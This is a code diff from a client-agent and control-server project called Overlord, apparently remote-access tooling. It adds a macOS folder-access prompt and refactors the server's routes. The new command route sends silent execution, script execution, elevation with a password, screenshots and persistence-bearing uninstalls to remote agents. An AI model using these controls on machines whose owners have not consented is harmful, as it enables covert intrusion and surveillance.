diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 3b25e97..c1c1177 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -2011,6 +2011,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
case "file_list":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileList(ctx, env, cmdID, path)
+ case "file_request_access":
+ path, _ := envelopePayloadString(envelope, "path")
+ return HandleFileRequestAccess(ctx, env, cmdID, path)
case "file_download":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileDownload(ctx, env, cmdID, path)
diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go
index 1dfe7bb..237b639 100644
--- a/Overlord-Client/cmd/agent/handlers/files.go
+++ b/Overlord-Client/cmd/agent/handlers/files.go
@@ -11,6 +11,7 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/hex"
+ "errors"
"fmt"
"hash"
"hash/crc32"
@@ -19,6 +20,7 @@ import (
"net/http"
"net/url"
"os"
+ "os/exec"
"path/filepath"
"runtime"
"strings"
@@ -124,16 +126,70 @@ func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, pa
}
result := wire.FileListResult{
- Type: "file_list_result",
- CommandID: cmdID,
- Path: path,
- Entries: entries,
- Error: errMsg,
+ Type: "file_list_result",
+ CommandID: cmdID,
+ Path: path,
+ Entries: entries,
+ Error: errMsg,
+ AccessDenied: isFileAccessDenied(err),
+ CanRequestAccess: canRequestFolderAccess(err),
+ AccessHelp: folderAccessHelp(err),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
+func isFileAccessDenied(err error) bool {
+ return err != nil && errors.Is(err, os.ErrPermission)
+}
+
+func canRequestFolderAccess(err error) bool {
+ return runtime.GOOS == "darwin" && isFileAccessDenied(err)
+}
+
+func folderAccessHelp(err error) string {
+ if !canRequestFolderAccess(err) {
+ return ""
+ }
+ return "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder."
+}
+
+func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+ if runtime.GOOS != "darwin" {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "folder access requests are only available on macOS",
+ })
+ }
+
+ if strings.TrimSpace(path) == "" {
+ path = "."
+ }
+ if absPath, err := filepath.Abs(path); err == nil {
+ path = absPath
+ }
+
+ settingsURL := "x-apple.systempreferences:com.apple.preference.security?Privacy_FilesAndFolders"
+ if err := exec.CommandContext(ctx, "open", settingsURL).Run(); err != nil {
+ _ = exec.CommandContext(ctx, "open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Run()
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: fmt.Sprintf("could not open macOS Privacy settings: %v", err),
+ })
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: true,
+ Message: fmt.Sprintf("opened macOS Privacy settings for folder access; ask the user to allow access for this app, then refresh %s", path),
+ })
+}
+
func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
entries := []wire.FileEntry{}
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index 9c7ecc8..64581c3 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -113,17 +113,20 @@ type FileEntry struct {
// windows file attributes
Attrs uint32 `msgpack:"attrs,omitempty"`
// Drive / volume disk usage (populated only at root listings for drive entries).
- FreeBytes int64 `msgpack:"freeBytes,omitempty"`
- TotalBytes int64 `msgpack:"totalBytes,omitempty"`
+ FreeBytes int64 `msgpack:"freeBytes,omitempty"`
+ TotalBytes int64 `msgpack:"totalBytes,omitempty"`
FSType string `msgpack:"fsType,omitempty"`
}
type FileListResult struct {
- Type string `msgpack:"type"`
- CommandID string `msgpack:"commandId,omitempty"`
- Path string `msgpack:"path"`
- Entries []FileEntry `msgpack:"entries"`
- Error string `msgpack:"error,omitempty"`
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Path string `msgpack:"path"`
+ Entries []FileEntry `msgpack:"entries"`
+ Error string `msgpack:"error,omitempty"`
+ AccessDenied bool `msgpack:"accessDenied,omitempty"`
+ CanRequestAccess bool `msgpack:"canRequestAccess,omitempty"`
+ AccessHelp string `msgpack:"accessHelp,omitempty"`
}
type FileDownload struct {
diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js
index e35228b..44df093 100644
--- a/Overlord-Server/public/assets/filebrowser.js
+++ b/Overlord-Server/public/assets/filebrowser.js
@@ -1217,7 +1217,8 @@ function renderCurrentDirectory() {
function handleFileList(msg) {
if (msg.error) {
clearVirtualizedListMode();
- fileListEl.innerHTML = `
${escapeHtml(msg.error)}
`;
+ currentPath = msg.path || currentPath;
+ renderFileListError(msg);
updateDirectorySummaryAndPaging(0, 0);
return;
}
@@ -1261,6 +1262,60 @@ function handleFileList(msg) {
renderCurrentDirectory();
}
+function isMacFolderAccessError(msg) {
+ if (!msg || !msg.error) return false;
+ if (msg.canRequestAccess || msg.accessDenied) return true;
+ if (detectedOS !== "mac") return false;
+ return /permission denied|operation not permitted|not permitted|access denied/i.test(msg.error);
+}
+
+function renderFileListError(msg) {
+ const canRequestAccess = isMacFolderAccessError(msg);
+ const helpText = msg.accessHelp || "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder.";
+ const actionHtml = canRequestAccess
+ ? `
+
+
+
+ ${escapeHtml(helpText)}
`
+ : "";
+
+ fileListEl.innerHTML = `
+
+ ${escapeHtml(msg.error)}
+ ${actionHtml}
+
`;
+
+ const requestBtn = document.getElementById("request-folder-access-btn");
+ if (requestBtn) {
+ requestBtn.addEventListener("click", () => requestFolderAccess(msg.path || currentPath || "."));
+ }
+
+ const retryBtn = document.getElementById("retry-folder-access-btn");
+ if (retryBtn) {
+ retryBtn.addEventListener("click", () => listFiles(msg.path || currentPath || "."));
+ }
+}
+
+function requestFolderAccess(path) {
+ const commandId = `file-access-${Date.now()}`;
+ send({
+ type: "command",
+ commandType: "file_request_access",
+ id: commandId,
+ payload: { path: path || currentPath || "." },
+ });
+ trackCommandResult(commandId, {
+ successMessage: "Opened macOS Privacy settings. Ask the user to allow access, then retry.",
+ errorPrefix: "Access request failed",
+ });
+ notifyToast("Asking the Mac to open Privacy settings...", "info", 3500);
+}
+
function shouldShowParentDirectory(path) {
if (!path || path === ".") {
return false;
diff --git a/Overlord-Server/src/client-db-sync.ts b/Overlord-Server/src/client-db-sync.ts
new file mode 100644
index 0000000..446222f
--- /dev/null
+++ b/Overlord-Server/src/client-db-sync.ts
@@ -0,0 +1,48 @@
+import { upsertClientRow, type ClientDbRow } from "./db";
+
+export const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
+
+const lastClientDbSync = new Map();
+const pendingClientDbUpdates = new Map();
+
+export function queueClientDbUpdate(partial: ClientDbRow): void {
+ const existing = pendingClientDbUpdates.get(partial.id);
+ if (!existing) {
+ pendingClientDbUpdates.set(partial.id, { ...partial });
+ return;
+ }
+ pendingClientDbUpdates.set(partial.id, {
+ ...existing,
+ ...partial,
+ id: partial.id,
+ lastSeen: partial.lastSeen ?? existing.lastSeen,
+ online: partial.online ?? existing.online,
+ pingMs: partial.pingMs ?? existing.pingMs,
+ });
+}
+
+export function flushQueuedClientDbUpdates(): void {
+ if (pendingClientDbUpdates.size === 0) return;
+ for (const update of pendingClientDbUpdates.values()) {
+ upsertClientRow(update);
+ }
+ pendingClientDbUpdates.clear();
+}
+
+setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS);
+
+export function shouldSyncClientToDb(clientId: string, now: number): boolean {
+ const last = lastClientDbSync.get(clientId) || 0;
+ if (now - last < CLIENT_DB_SYNC_INTERVAL_MS) return false;
+ lastClientDbSync.set(clientId, now);
+ return true;
+}
+
+export function markClientDbSynced(clientId: string, now: number): void {
+ lastClientDbSync.set(clientId, now);
+}
+
+export function clearClientSyncState(clientId: string): void {
+ lastClientDbSync.delete(clientId);
+ pendingClientDbUpdates.delete(clientId);
+}
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
index 35e1a81..39542db 100644
--- a/Overlord-Server/src/db.ts
+++ b/Overlord-Server/src/db.ts
@@ -1792,7 +1792,7 @@ export function saveSavedScript(
scriptType: string,
): SavedScriptRecord | null {
const owner = db
- .query<{ user_id: number }, [string]>(
+ .query<{ user_id: number }>(
`SELECT user_id FROM saved_scripts WHERE id = ?`,
)
.get(id);
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index f569529..41e4337 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -5,7 +5,7 @@ import { fileURLToPath } from "url";
import path from "path";
import fs from "fs/promises";
import { existsSync } from "node:fs";
-import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
+import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, deleteExpiredChatMessages, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
import { ClientInfo, ClientRole } from "./types";
@@ -13,8 +13,7 @@ import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "./auth";
import { loadConfig, getConfig } from "./config";
import { flushAuditLogsSync } from "./auditLog";
-import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
-import { hasPermission } from "./rbac";
+import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient } from "./users";
import { requireAuth, requirePermission } from "./rbac";
import { metrics } from "./metrics";
import { ensureDataDir } from "./paths";
@@ -149,6 +148,8 @@ import * as clientManager from "./clientManager";
import * as sessionManager from "./sessions/sessionManager";
import type { SocketData } from "./sessions/types";
import { SERVER_VERSION } from "./version";
+import { handleChatViewerOpen, handleChatViewerMessage } from "./server/ws-chat";
+import { handleBuildTagConnection } from "./server/build-tag";
metrics.setSnapshotEnricher((snapshot) => {
@@ -527,33 +528,6 @@ async function startServer() {
registration: {},
};
- function handleBuildTagConnection(
- clientId: string,
- buildId: string | null,
- builtByUserId: number | undefined,
- keyFingerprint: string,
- ) {
- if (!buildId || !builtByUserId) return;
-
- const isFirstClaim = recordBuildClaim(buildId, keyFingerprint);
- if (!isFirstClaim) return;
-
- const user = getUserById(builtByUserId);
- if (!user) return;
-
- if (user.role === "admin") return;
-
- const currentScope = getUserClientAccessScope(builtByUserId);
- if (currentScope === "none") {
- setUserClientAccessScope(builtByUserId, "allowlist");
- }
-
- if (currentScope === "none" || currentScope === "allowlist") {
- setUserClientAccessRule(builtByUserId, clientId, "allow");
- logger.info(`[build-tag] Auto-added client ${clientId} to user ${user.username}'s allowlist (build: ${buildId.substring(0, 8)}, fp: ${keyFingerprint.substring(0, 12)}...)`);
- }
- }
-
const lifecycleDeps = {
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
@@ -584,54 +558,8 @@ async function startServer() {
});
},
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
- handleChatViewerOpen: (ws: import("bun").ServerWebSocket) => {
- const id = crypto.randomUUID();
- ws.data.sessionId = id;
- const userId = ws.data.userId;
- const userRole = ws.data.userRole || "viewer";
- const user = userId ? getUserById(userId) : null;
- const username = user?.username || "Unknown";
- sessionManager.addChatSession({
- id,
- viewer: ws,
- createdAt: Date.now(),
- userId: userId || 0,
- username,
- userRole,
- });
- const retDays = getConfig().chat?.retentionDays ?? 30;
- const retMs = retDays > 0 ? retDays * 24 * 60 * 60 * 1000 : undefined;
- const history = getChatHistory(undefined, 50, retMs);
- const enrichedHistory = history.map((m) => ({
- ...m,
- onlineClients: m.userId ? getOnlineClientCountForUser(m.userId) : 0,
- }));
- const canWrite = userId ? hasPermission(userRole as any, "chat:write", userId) : false;
- ws.send(JSON.stringify({ type: "chat_ready", history: enrichedHistory, canWrite, userId: userId || 0 }));
- },
- handleChatViewerMessage: (ws: import("bun").ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => {
- try {
- const text = typeof raw === "string" ? raw : new TextDecoder().decode(raw as ArrayBuffer);
- const parsed = JSON.parse(text);
- if (parsed.type !== "chat_send" || typeof parsed.message !== "string") return;
- const userId = ws.data.userId;
- const userRole = ws.data.userRole || "viewer";
- if (!userId || !hasPermission(userRole as any, "chat:write", userId)) {
- ws.send(JSON.stringify({ type: "chat_error", error: "Permission denied" }));
- return;
- }
- const msg = parsed.message.trim();
- if (!msg || msg.length > 2000) {
- ws.send(JSON.stringify({ type: "chat_error", error: msg ? "Message too long (max 2000 chars)" : "Message is empty" }));
- return;
- }
- const user = getUserById(userId);
- const username = user?.username || "Unknown";
- const record = insertChatMessage(userId, username, userRole, msg);
- const onlineClients = getOnlineClientCountForUser(userId);
- sessionManager.broadcastChatMessage(JSON.stringify({ type: "chat_message", ...record, onlineClients }));
- } catch {}
- },
+ handleChatViewerOpen,
+ handleChatViewerMessage,
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
handleWebcamViewerMessage,
@@ -718,7 +646,10 @@ async function startServer() {
metrics,
CORS_HEADERS,
routes: [
- (req, url) => handleRegistrationRoutes(req, url, routeDeps.registration),
+ (req, url, srv) => handleRegistrationRoutes(req, url, {
+ ...routeDeps.registration,
+ requestIP: (srv as any).requestIP,
+ }),
(req, url, srv) => handleAuthRoutes(req, url, srv as any),
(req, url, srv) => handleNotificationsConfigRoutes(req, url, srv as any, routeDeps.notificationsConfig),
(req, url) => handleAutoScriptsRoutes(req, url),
@@ -735,7 +666,10 @@ async function startServer() {
(req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
(req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
(req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
- (req, url) => handleMiscRoutes(req, url, routeDeps.misc),
+ (req, url, srv) => handleMiscRoutes(req, url, {
+ ...routeDeps.misc,
+ requestIP: (srv as any).requestIP,
+ }),
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
(req, url) => handlePageRoutes(req, url, routeDeps.page),
(req, url) => handleWebrtcRoutes(req, url),
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index 574ecbb..0882567 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -75,6 +75,7 @@ export type CommandType =
| "console_stop"
| "console_resize"
| "file_list"
+ | "file_request_access"
| "file_download"
| "file_upload"
| "file_delete"
@@ -238,6 +239,9 @@ export type FileListResult = {
path: string;
entries: FileEntry[];
error?: string;
+ accessDenied?: boolean;
+ canRequestAccess?: boolean;
+ accessHelp?: string;
};
export type FileDownload = {
diff --git a/Overlord-Server/src/server/build-tag.ts b/Overlord-Server/src/server/build-tag.ts
new file mode 100644
index 0000000..b50e0b1
--- /dev/null
+++ b/Overlord-Server/src/server/build-tag.ts
@@ -0,0 +1,30 @@
+import { recordBuildClaim } from "../db";
+import { getUserById, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "../users";
+import { logger } from "../logger";
+
+export function handleBuildTagConnection(
+ clientId: string,
+ buildId: string | null,
+ builtByUserId: number | undefined,
+ keyFingerprint: string,
+): void {
+ if (!buildId || !builtByUserId) return;
+
+ const isFirstClaim = recordBuildClaim(buildId, keyFingerprint);
+ if (!isFirstClaim) return;
+
+ const user = getUserById(builtByUserId);
+ if (!user) return;
+
+ if (user.role === "admin") return;
+
+ const currentScope = getUserClientAccessScope(builtByUserId);
+ if (currentScope === "none") {
+ setUserClientAccessScope(builtByUserId, "allowlist");
+ }
+
+ if (currentScope === "none" || currentScope === "allowlist") {
+ setUserClientAccessRule(builtByUserId, clientId, "allow");
+ logger.info(`[build-tag] Auto-added client ${clientId} to user ${user.username}'s allowlist (build: ${buildId.substring(0, 8)}, fp: ${keyFingerprint.substring(0, 12)}...)`);
+ }
+}
diff --git a/Overlord-Server/src/server/routes/client-command-routes.ts b/Overlord-Server/src/server/routes/client-command-routes.ts
new file mode 100644
index 0000000..5926f2f
--- /dev/null
+++ b/Overlord-Server/src/server/routes/client-command-routes.ts
@@ -0,0 +1,225 @@
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { deleteClientRow } from "../../db";
+import { metrics } from "../../metrics";
+import { encodeMessage } from "../../protocol";
+import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
+import { clearThumbnail } from "../../thumbnails";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type PendingScript = {
+ resolve: (result: any) => void;
+ reject: (error: any) => void;
+ timeout: NodeJS.Timeout;
+ clientId: string;
+};
+
+type PendingCommandReply = {
+ resolve: (result: { ok: boolean; message?: string }) => void;
+ reject: (error: Error) => void;
+ timeout: NodeJS.Timeout;
+ clientId: string;
+};
+
+type ClientCommandDeps = {
+ CORS_HEADERS: Record;
+ pendingScripts: Map;
+ pendingCommandReplies: Map;
+};
+
+export async function handleClientCommandRoute(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: ClientCommandDeps,
+): Promise {
+ if (req.method !== "POST") return null;
+ const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
+ if (!cmdMatch) return null;
+
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const targetId = cmdMatch[1];
+ try {
+ requireClientAccess(user, targetId);
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const target = clientManager.getClient(targetId);
+ const ip = server.requestIP(req)?.address || "unknown";
+
+ if (!target) return new Response("Not found", { status: 404 });
+
+ try {
+ const body = await req.json();
+ const action = body?.action;
+ let success = true;
+
+ if (action === "ping") {
+ const nonce = Date.now() + Math.floor(Math.random() * 1000);
+ target.lastPingSent = Date.now();
+ target.lastPingNonce = nonce;
+ target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
+ } else if (action === "ping_bulk") {
+ Math.max(1, Math.min(1000, Number(body?.count || 1)));
+ } else if (action === "disconnect") {
+ try {
+ requirePermission(user, "clients:disconnect");
+ requireFeatureAccess(user, "disconnect");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
+ metrics.recordCommand("disconnect");
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.DISCONNECT, targetClientId: targetId, success: true });
+ } else if (action === "reconnect") {
+ try {
+ requirePermission(user, "clients:reconnect");
+ requireFeatureAccess(user, "reconnect");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
+ metrics.recordCommand("reconnect");
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.RECONNECT, targetClientId: targetId, success: true });
+ } else if (action === "screenshot") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: uuidv4(), payload: { mode: "notification", allDisplays: true } }));
+ metrics.recordCommand("screenshot");
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCREENSHOT, targetClientId: targetId, success: true });
+ } else if (action === "desktop_start") {
+ target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
+ metrics.recordCommand("desktop_start");
+ } else if (action === "script_exec") {
+ const scriptContent = body?.script || "";
+ const scriptType = body?.scriptType || "powershell";
+ const cmdId = uuidv4();
+
+ const resultPromise = new Promise((resolve, reject) => {
+ const timeout = setTimeout(() => {
+ deps.pendingScripts.delete(cmdId);
+ reject(new Error("Script execution timed out after 5 minutes"));
+ }, 5 * 60 * 1000);
+ deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+ });
+
+ target.ws.send(encodeMessage({ type: "command", commandType: "script_exec", id: cmdId, payload: { script: scriptContent, type: scriptType } }));
+ metrics.recordCommand("script_exec");
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCRIPT_EXECUTE, targetClientId: targetId, success: true, details: `script_exec (${scriptType})` });
+
+ try {
+ const result = await resultPromise;
+ return Response.json(result);
+ } catch (error: any) {
+ return Response.json({ ok: false, error: error.message }, { status: 500 });
+ }
+ } else if (action === "voice_capabilities") {
+ const cmdId = uuidv4();
+ const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
+ const timeout = setTimeout(() => {
+ deps.pendingCommandReplies.delete(cmdId);
+ reject(new Error("Voice capability probe timed out"));
+ }, 30_000);
+ deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+ });
+
+ target.ws.send(encodeMessage({ type: "command", commandType: "voice_capabilities", id: cmdId }));
+
+ try {
+ const result = await replyPromise;
+ let caps: any = null;
+ if (result.message) {
+ try { caps = JSON.parse(result.message); } catch { caps = null; }
+ }
+ return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
+ } catch (error: any) {
+ return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
+ }
+ } else if (action === "silent_exec") {
+ try {
+ requirePermission(user, "clients:silent-exec");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const command = typeof body?.command === "string" ? body.command.trim() : "";
+ const args = typeof body?.args === "string" ? body.args : "";
+ const cwd = typeof body?.cwd === "string" ? body.cwd : "";
+
+ if (!command) return new Response("Bad request", { status: 400 });
+
+ const cmdId = uuidv4();
+ target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: cmdId, payload: { command, args, cwd } }));
+ metrics.recordCommand("silent_exec");
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SILENT_EXECUTE, targetClientId: targetId, success: true, details: JSON.stringify({ command, args, cwd }) });
+ } else if (action === "uninstall") {
+ try {
+ requirePermission(user, "clients:uninstall");
+ requireFeatureAccess(user, "uninstall");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
+ metrics.recordCommand("uninstall");
+ clientManager.deleteClient(targetId);
+ deleteClientRow(targetId);
+ clearThumbnail(targetId);
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.UNINSTALL, targetClientId: targetId, details: "Agent uninstall requested - persistence will be removed", success: true });
+ } else if (action === "elevate") {
+ try {
+ requirePermission(user, "clients:elevate");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const password = typeof body?.password === "string" ? body.password : "";
+ const cmdId = uuidv4();
+ const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
+ const timeout = setTimeout(() => {
+ deps.pendingCommandReplies.delete(cmdId);
+ reject(new Error("Elevation timed out"));
+ }, 30_000);
+ deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+ });
+
+ target.ws.send(encodeMessage({ type: "command", commandType: "elevate", id: cmdId, payload: { password } }));
+ metrics.recordCommand("elevate");
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "elevate" });
+
+ try {
+ const result = await replyPromise;
+ return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
+ } catch (error: any) {
+ return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
+ }
+ } else {
+ success = false;
+ return new Response("Bad request", { status: 400 });
+ }
+
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: action, success });
+ return Response.json({ ok: true });
+ } catch (error) {
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: false, errorMessage: String(error) });
+ return new Response("Bad request", { status: 400 });
+ }
+}
diff --git a/Overlord-Server/src/server/routes/client-group-routes.ts b/Overlord-Server/src/server/routes/client-group-routes.ts
new file mode 100644
index 0000000..7d6d19f
--- /dev/null
+++ b/Overlord-Server/src/server/routes/client-group-routes.ts
@@ -0,0 +1,181 @@
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import {
+ clientExists,
+ listGroups,
+ getGroup,
+ createGroup,
+ updateGroup,
+ deleteGroup,
+ setClientGroup,
+} from "../../db";
+import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
+import { canUserAccessClient } from "../../users";
+import { notifyDashboardViewers } from "../../sessions/sessionManager";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type ClientGroupDeps = {
+ CORS_HEADERS: Record;
+};
+
+export async function handleClientGroupRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: ClientGroupDeps,
+): Promise {
+ if (!url.pathname.startsWith("/api/groups") &&
+ url.pathname !== "/api/clients/bulk-group" &&
+ !url.pathname.match(/^\/api\/clients\/[^/]+\/group$/)) {
+ return null;
+ }
+
+ if (url.pathname === "/api/groups") {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+
+ if (req.method === "GET") {
+ return Response.json({ groups: listGroups() }, { headers: deps.CORS_HEADERS });
+ }
+
+ if (req.method === "POST") {
+ try { requirePermission(user, "clients:control"); } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ let body: any = {};
+ try { body = await req.json(); } catch {
+ return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+ }
+ const name = typeof body?.name === "string" ? body.name.trim() : "";
+ const color = typeof body?.color === "string" ? body.color.trim() : "#3b82f6";
+ if (!name || name.length > 64) {
+ return Response.json({ error: "Name is required and must be 64 characters or fewer" }, { status: 400 });
+ }
+ if (!/^#[0-9a-fA-F]{6}$/.test(color)) {
+ return Response.json({ error: "Color must be a valid hex code (#RRGGBB)" }, { status: 400 });
+ }
+ const group = createGroup(name, color);
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `create_group:${name}`, success: true });
+ return Response.json(group, { status: 201, headers: deps.CORS_HEADERS });
+ }
+ }
+
+ const groupIdMatch = url.pathname.match(/^\/api\/groups\/(\d+)$/);
+ if (groupIdMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try { requirePermission(user, "clients:control"); } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ const groupId = Number(groupIdMatch[1]);
+
+ if (req.method === "PATCH") {
+ let body: any = {};
+ try { body = await req.json(); } catch {
+ return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+ }
+ const existing = getGroup(groupId);
+ if (!existing) return Response.json({ error: "Group not found" }, { status: 404 });
+ const name = typeof body?.name === "string" ? body.name.trim() : existing.name;
+ const color = typeof body?.color === "string" ? body.color.trim() : existing.color;
+ if (name.length === 0 || name.length > 64) {
+ return Response.json({ error: "Name must be 1-64 characters" }, { status: 400 });
+ }
+ if (!/^#[0-9a-fA-F]{6}$/.test(color)) {
+ return Response.json({ error: "Color must be a valid hex code (#RRGGBB)" }, { status: 400 });
+ }
+ const updated = updateGroup(groupId, name, color);
+ if (!updated) return Response.json({ error: "Group not found" }, { status: 404 });
+ notifyDashboardViewers();
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `update_group:${groupId}`, success: true });
+ return Response.json({ ok: true, id: groupId, name, color }, { headers: deps.CORS_HEADERS });
+ }
+
+ if (req.method === "DELETE") {
+ const deleted = deleteGroup(groupId);
+ if (!deleted) return Response.json({ error: "Group not found" }, { status: 404 });
+ notifyDashboardViewers();
